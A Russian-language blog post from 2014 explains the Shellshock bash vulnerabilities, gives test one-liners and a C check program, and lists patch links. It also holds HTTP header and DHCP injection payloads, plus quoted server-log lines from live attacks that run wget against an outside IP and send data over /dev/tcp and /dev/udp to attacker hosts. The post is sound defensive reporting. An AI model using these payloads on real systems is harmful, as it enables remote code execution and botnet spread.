Второй день Интернет активно обсуждает CVE-2014-6271 и CVE-2014-7169 — Remote code execution through bash. Основной момент, Bash позволяет экспортировать функции как переменные окружения. Если после тела функции (после последнего символа «}») добавить ещё какую-нибудь команду, и экспортировать её — она будет выполнена при вызове дочернего интерпретатора:
Ниже три скрипта, которые позволяют проверить, подвержены ли вы атаке:
Первого типа
export badvar='() { :;}; echo vulnerable' bash -c "echo I am an innocent sub process in '$BASH_VERSION'" vulnerable I am an innocent sub process in 4.3.22(1)-release |
Второго типа:
env X='() { (a)=>\' sh -c "echo date"; cat echo |
Тоже самое делает данный код:
#include #include int main() { setenv("VAR", "() { :;}; echo vulnerable", 0); system("ls"); } #./a.out vulnerable a.out |
Немного изменив алгоритм, можно сделать HTTP-пакет, который будет содержать вредоносный код:
http-user-agent = shellshock-scan http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74 http-header[Host] = () { :; }; ping -c 3 209.126.230.74 http-header[Referer] = () { :; }; ping -c 3 209.126.230.74 |
via (c) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html
Злоумышленники прямо сейчас целенаправленно сканируют подсети IP-адресов в поиске уязвимых веб-серверов.
В общем-то меня не обошли стороной. В логах можно найти следующее:
# cd /var/log/nginx/ # grep "() {" ./* [25/Sep/2014:12:12:27 +0400] "GET / HTTP/1.1" 200 52082 "-" "() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq" "-" [25/Sep/2014:14:38:56 +0400] "GET / HTTP/1.1" 200 44332 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444" "-" [25/Sep/2014:16:56:14 +0400] "GET / HTTP/1.0" 200 16423 "-" "() { ignored;};/usr/bin/wget 176.99.6.189:3128/dd" "-" [25/Sep/2014:17:08:37 +0400] "GET / HTTP/1.0" 200 16423 "-" "() { ignored;};/usr/bin/wget 176.99.6.189:3128/sitename" "-" [25/Sep/2014:17:15:33 +0400] "GET / HTTP/1.0" 200 16423 "-" "() { ignored;};echo GET /sitename HTTP/1.0 > /dev/tcp/176.99.6.189/3128" "-" |
Виновник торжества — Bash — по умолчанию используется в большинстве Linux и BSD систем, что делает уязвимость чрезвычайно опасной. Но даже если вы не используете Linux, BSD и Mac OS X на собственных серверах, вы всё равно можете пострадать от CVE-2014-6271 и CVE-2014-7169. Уязвимости подвержен Web-интерфейс администрирования целого ряда сетевых устройств (маршрутизторы, роутеры, гаджеты с удаленным управлением), одно из которых может быть и в вашей инфраструктуре. При этом для эксплуатации уязвимости веб-интерфейса не требуется вводить корректный логин и пароль.
Мы поймали за хвост живой ботнет уже написанный для x86 и MIPS, который посредством этих уязвимостей распространяется со скоростью калифорнийского пожара. Уязвимость вчера — ботнет сегодня. На 21:00 25 сентября в ботнете было несколько десятков тысяч участников.
Большая часть операционных систем уже содержит в репозитариях необходимые обновления.
Официальный мейнтейнер GNU bash, выложил патчи.
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
UPD: 27.09.2014 Пример эксплуатации эксплоита Shellshock на DHCP-сервере
Для внедрения эксплоита подходит любое строковое значение, например URL.
Устанавливаем 114 опции значение:
() { ignored;}; echo ‘foo’ |
Если видим в логах «foo», то клиентская машина уязвима.
UPD: 29.09.2014 Скрипт, который проверяет на данный момент 5 уязвимостей BASH